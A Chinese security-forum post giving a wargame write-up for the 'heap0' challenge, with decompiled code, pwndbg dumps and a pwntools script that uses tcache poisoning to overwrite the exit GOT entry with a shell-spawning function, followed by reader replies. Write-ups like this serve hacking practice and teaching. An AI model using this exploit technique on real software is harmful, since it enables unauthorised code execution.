首页
论坛
课程
招聘
[原创]WarGame-heap0 解题思路
2019-10-29 19:44 5118

[原创]WarGame-heap0 解题思路

2019-10-29 19:44
5118

Heap0伪代码如下:

int win()
{
  return system("/bin/sh");
}

int menu()
{
  puts("1) Create chunk");
  puts("2) Free chunk");
  puts("3) Show chunk");
  return puts("4) Exit");
}

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rsi@1
  const char *v4; // rdi@1
  void *v5; // ST08_8@9
  signed int v6; // eax@9
  int v7; // [sp+4h] [bp-1Ch]@11
  int v8; // [sp+14h] [bp-Ch]@6
  int v9; // [sp+18h] [bp-8h]@2
  signed int v10; // [sp+1Ch] [bp-4h]@1

  v3 = 0LL;
  v4 = (const char *)stdout;
  setvbuf(stdout, 0LL, 2, 0LL);
  v10 = 0;
  while ( 1 )
  {
    while ( 1 )
    {
      menu(v4, v3);
      v9 = ((int (*)(void))get_int)();
      if ( v9 != 1 )
        break;
      if ( v10 > 99 )
      {
        puts("Too many chunks created");
        exit(1);
      }
      puts("Size of the chunk:");
      v8 = get_int("Size of the chunk:");
      if ( v8 > 0 && v8 <= 4096 )
      {
        v5 = malloc(v8);
        printf("Content: ");
        gets(v5);
        v3 = (unsigned int)v10;
        v4 = "Chunk ID: %d\n";
        printf("Chunk ID: %d\n", (unsigned int)v10);
        v6 = v10++;
        chunks[v6] = v5;
      }
      else
      {
        v4 = "Invalid size";
        puts("Invalid size");
      }
    }
    if ( v9 == 2 )
    {
      puts("Chunk id:");
      v7 = get_int("Chunk id:");
      if ( v7 >= 0 && v7 < v10 && chunks[v7] )
      {
        v4 = (const char *)chunks[v7];
        free((void *)v4);
        chunks[v7] = 0LL;
      }
      else
      {
        v4 = "No chunk with that id";
        puts("No chunk with that id");
      }
    }
    else if ( v9 == 3 )
    {
      v4 = "Not implemented";
      puts("Not implemented");
    }
    else
    {
      if ( v9 == 4 )
      {
        puts("Bye");
        exit(0);
      }
      v4 = "Invalid choice";
      puts("Invalid choice");
    }
  }
}

如题所示,只要运行win函数就可获得shell,而这题要学一种新的漏洞:堆溢出,因为这题所用到的堆不需要很大很多,所以都由tcache分配,故不考虑其他情况;堆溢出因为只能造成任意地址写,并不能控制EIP,所以我此次要攻击的是GOT表的内容,通过修改GOT表指向的函数地址,然后由程序调用指定函数,从而达到间接控制EIP的目的,查看GOT表和函数地址如下:

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x401000 r--p     1000 0      /home/gavin/warGame/heap/heap0
          0x401000           0x402000 r-xp     1000 1000   /home/gavin/warGame/heap/heap0
          0x402000           0x403000 r--p     1000 2000   /home/gavin/warGame/heap/heap0
          0x403000           0x404000 r--p     1000 2000   /home/gavin/warGame/heap/heap0
          0x404000           0x405000 rw-p     1000 3000   /home/gavin/warGame/heap/heap0
    0x7ffff79e4000     0x7ffff7bcb000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7bcb000     0x7ffff7dcb000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dcb000     0x7ffff7dcf000 r--p     4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dcf000     0x7ffff7dd1000 rw-p     2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dd1000     0x7ffff7dd5000 rw-p     4000 0      
    0x7ffff7dd5000     0x7ffff7dfc000 r-xp    27000 0      /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7fdb000     0x7ffff7fdd000 rw-p     2000 0      
    0x7ffff7ff7000     0x7ffff7ffa000 r--p     3000 0      [vvar]
    0x7ffff7ffa000     0x7ffff7ffc000 r-xp     2000 0      [vdso]
    0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000 27000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000 28000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000 0      
    0x7ffffffde000     0x7ffffffff000 rw-p    21000 0      [stack]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]
pwndbg> telescope 0x404000 0x405000
00:0000│   0x404000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x403e20 (_DYNAMIC) ◂— 0x1
01:0008│   0x404008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7ffff7ffe170 ◂— 0x0
02:0010│   0x404010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7dec680 (_dl_runtime_resolve_xsave) ◂— push   rbx
03:0018│   0x404018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0x401036 (free@plt+6) ◂— push   0 /* 'h' */
04:0020│   0x404020 (_GLOBAL_OFFSET_TABLE_+32) —▸ 0x401046 (puts@plt+6) ◂— push   1
05:0028│   0x404028 (_GLOBAL_OFFSET_TABLE_+40) —▸ 0x401056 (system@plt+6) ◂— push   2
06:0030│   0x404030 (_GLOBAL_OFFSET_TABLE_+48) —▸ 0x401066 (printf@plt+6) ◂— push   3
07:0038│   0x404038 (_GLOBAL_OFFSET_TABLE_+56) —▸ 0x401076 (getchar@plt+6) ◂— push   4
08:0040│   0x404040 (_GLOBAL_OFFSET_TABLE_+64) —▸ 0x401086 (gets@plt+6) ◂— push   5
09:0048│   0x404048 (_GLOBAL_OFFSET_TABLE_+72) —▸ 0x401096 (malloc@plt+6) ◂— push   6
0a:0050│   0x404050 (_GLOBAL_OFFSET_TABLE_+80) —▸ 0x4010a6 (setvbuf@plt+6) ◂— push   7
0b:0058│   0x404058 (_GLOBAL_OFFSET_TABLE_+88) —▸ 0x4010b6 (__isoc99_scanf@plt+6) ◂— push   8
0c:0060│   0x404060 (_GLOBAL_OFFSET_TABLE_+96) —▸ 0x4010c6 (exit@plt+6) ◂— push   9 /* 'h\t' */
0d:0068│   0x404068 (data_start) ◂— 0x0
... ↓
10:0080│   0x404080 (stdout@@GLIBC_2.2.5) —▸ 0x7ffff7dd0760 (_IO_2_1_stdout_) ◂— 0xfbad2084
11:0088│   0x404088 (completed) ◂— 0x0
... ↓
pwndbg> info functions 
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x0000000000401030  free@plt
0x0000000000401040  puts@plt
0x0000000000401050  system@plt
0x0000000000401060  printf@plt
0x0000000000401070  getchar@plt
0x0000000000401080  gets@plt
0x0000000000401090  malloc@plt
0x00000000004010a0  setvbuf@plt
0x00000000004010b0  __isoc99_scanf@plt
0x00000000004010c0  exit@plt
0x00000000004010d0  _start
0x0000000000401100  _dl_relocate_static_pie
0x0000000000401110  deregister_tm_clones
0x0000000000401140  register_tm_clones
0x0000000000401180  __do_global_dtors_aux
0x00000000004011b0  frame_dummy
0x00000000004011b2  win
0x00000000004011c5  menu
0x00000000004011fc  get_int
0x0000000000401237  main
0x0000000000401430  __libc_csu_init
0x0000000000401490  __libc_csu_fini
0x0000000000401494  _fini

表中有一个exit函数,从伪代码中可以得到,只要将exit函数地址修改为win函数地址,然后在菜单中选择退出,就可以执行win函数从而得到shell,攻击脚本如下(注意看脚本中的注释):

from pwn import *

sh=process('./heap0')
def creat(size,data):
    sh.recvuntil('4) Exit')
    sh.sendline('1')
    sh.recvuntil('Size of the chunk:')
    sh.sendline(str(size))
    sh.recvuntil('Content: ')
    sh.sendline(str(data))

def free(ID):
    sh.recvuntil('4) Exit')
    sh.sendline('2')
    sh.recvuntil('Chunk id:')
    sh.sendline(str(ID))

creat(10,'1111')
creat(10,'2222')
free(1)			#tcache是后进先出的数据结构,所以释放的时候顺序是反的
free(0)			#我尝试过只创建一个chunk,虽然溢出了但是并不能做到任意位置写,有没有大佬出来解释下
payload=cyclic(0x18)+p64(0x61)+'\x60\x40\x40'
creat(10,payload)			#执行堆溢出的chunk,需要将0x404060指向win函数所在位置
creat(10,'abcd')			#在创建这个chunk的时候溢出已经发生了,fd指针已经被修改到exit函数的位置
creat(10,'\xb2\x11\x40')		#这个chunk将本来指向exit函数的指针修改为指向win函数
sh.interactive()

这里提一下堆内存分配时的规则,每个堆分配的时候都是一个0xf(16),当我们申请了10字节(0xa)事实上是0xa+0x8个字节(fd指针的4个,还有四个的值一直都是0,有没有大佬出来解释下),因为大于0x10所以系统分配了0x20字节的内存(现在看懂了cyclic(0x18)的原因了吧),因为堆利用的时候不好理解,所以我还找了个图(非常感谢semchapeu的耐心帮助O(∩_∩)O):

init
------------
Tcache: empty
Chunk A
Chunk B
------------
free(B)
------------
Tcache: B
Chunk A
Freed B
------------
free(A)
------------
Tcache: A -> B
Freed A
Freed B
------------
create chunk C
------------
Tcache: B
Chunk C
Freed B
------------
用chunk C 覆盖已释放的chunk B中 fd 指针指向的位置
------------
Tcache: B -> Evil
Chunk C
Freed B
------------
create chunk D
------------
Tcache: Evil
Chunk C
Chunk D
------------
申请的下一个chunk就可以任意位置写了

小结
因为我和管理员的关系不错,所以他把还没上线的heap游戏先给我了,所以你们看到的是还没上线的堆溢出游戏的抢先体验版O(∩_∩)O哈哈~
附件是这个级别的游戏所需要的glibc版本,如果版本太低的话,附件里还提供了docker文件

[看雪官方]《安卓高级研修班》线下班,网课(12月)班开始同步招生!!

上传的附件:
收藏
点赞1
打赏
分享
最新回复 (10)
雪    币: 5137
活跃值: 活跃值 (6176)
能力值: (RANK:65 )
在线值:
发帖
回帖
粉丝
Editor 活跃值 2019-10-29 21:45
2
0
哇~ 感谢!先mark
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_hrkdqhgb 活跃值 2019-11-9 11:01
3
0
大哥 有事请教你 能打扰你一下吗13997718813微信同号
雪    币: 4258
活跃值: 活跃值 (1192)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2019-11-9 15:43
4
0
mb_hrkdqhgb 大哥 有事请教你 能打扰你一下吗13997718813微信同号
有事儿直接在论坛里私信我,或者在这里留言也行
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_hrkdqhgb 活跃值 2019-11-11 07:08
5
0
想请教一个问题 能私聊吗
雪    币: 4258
活跃值: 活跃值 (1192)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2019-11-14 09:39
6
0
mb_hrkdqhgb 想请教一个问题 能私聊吗
可以
雪    币: 4258
活跃值: 活跃值 (1192)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2019-11-14 09:40
7
0

最后于 2019-11-14 09:41 被pureGavin编辑 ,原因:
雪    币: 4258
活跃值: 活跃值 (1192)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2019-11-14 09:41
8
0

在用pwntools写过脚本以后有些人想用脚本调试,需要在脚本里加上这两句

context.terminal=["/usr/bin/tmux","split-window","-h"]
gdb.attach(sh)            #sh代表想要调试的进程


雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_hrkdqhgb 活跃值 2019-11-16 17:20
9
0
能加我微信吗 里面我私聊不了你13997718813
雪    币: 429
活跃值: 活跃值 (18)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kanxueqwe 活跃值 2019-11-23 12:10
10
0
大佬,你好,请教一个问题:我在调试基于seh的缓冲区溢出漏洞的时候,为什么使用OD调试时候,对于中文系统nseh = "\xeb\x06\x90\x90" 装入内存时候\xeb\x06会变成一个字节\3F,从而不能出发漏洞,有的时候英文系统nseh = "\xeb\x06\x90\x90" 装入内存也会\xeb会变成\cb

最后于 2019-11-23 12:15 被kanxueqwe编辑 ,原因:
雪    币: 429
活跃值: 活跃值 (18)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kanxueqwe 活跃值 2019-11-23 12:12
11
0

我已经发帖子,求助了,https://bbs.pediy.com/thread-255734.htm,期待回帖啊
最后于 2019-11-23 12:16 被kanxueqwe编辑 ,原因:
游客
登录 | 注册 方可回帖
返回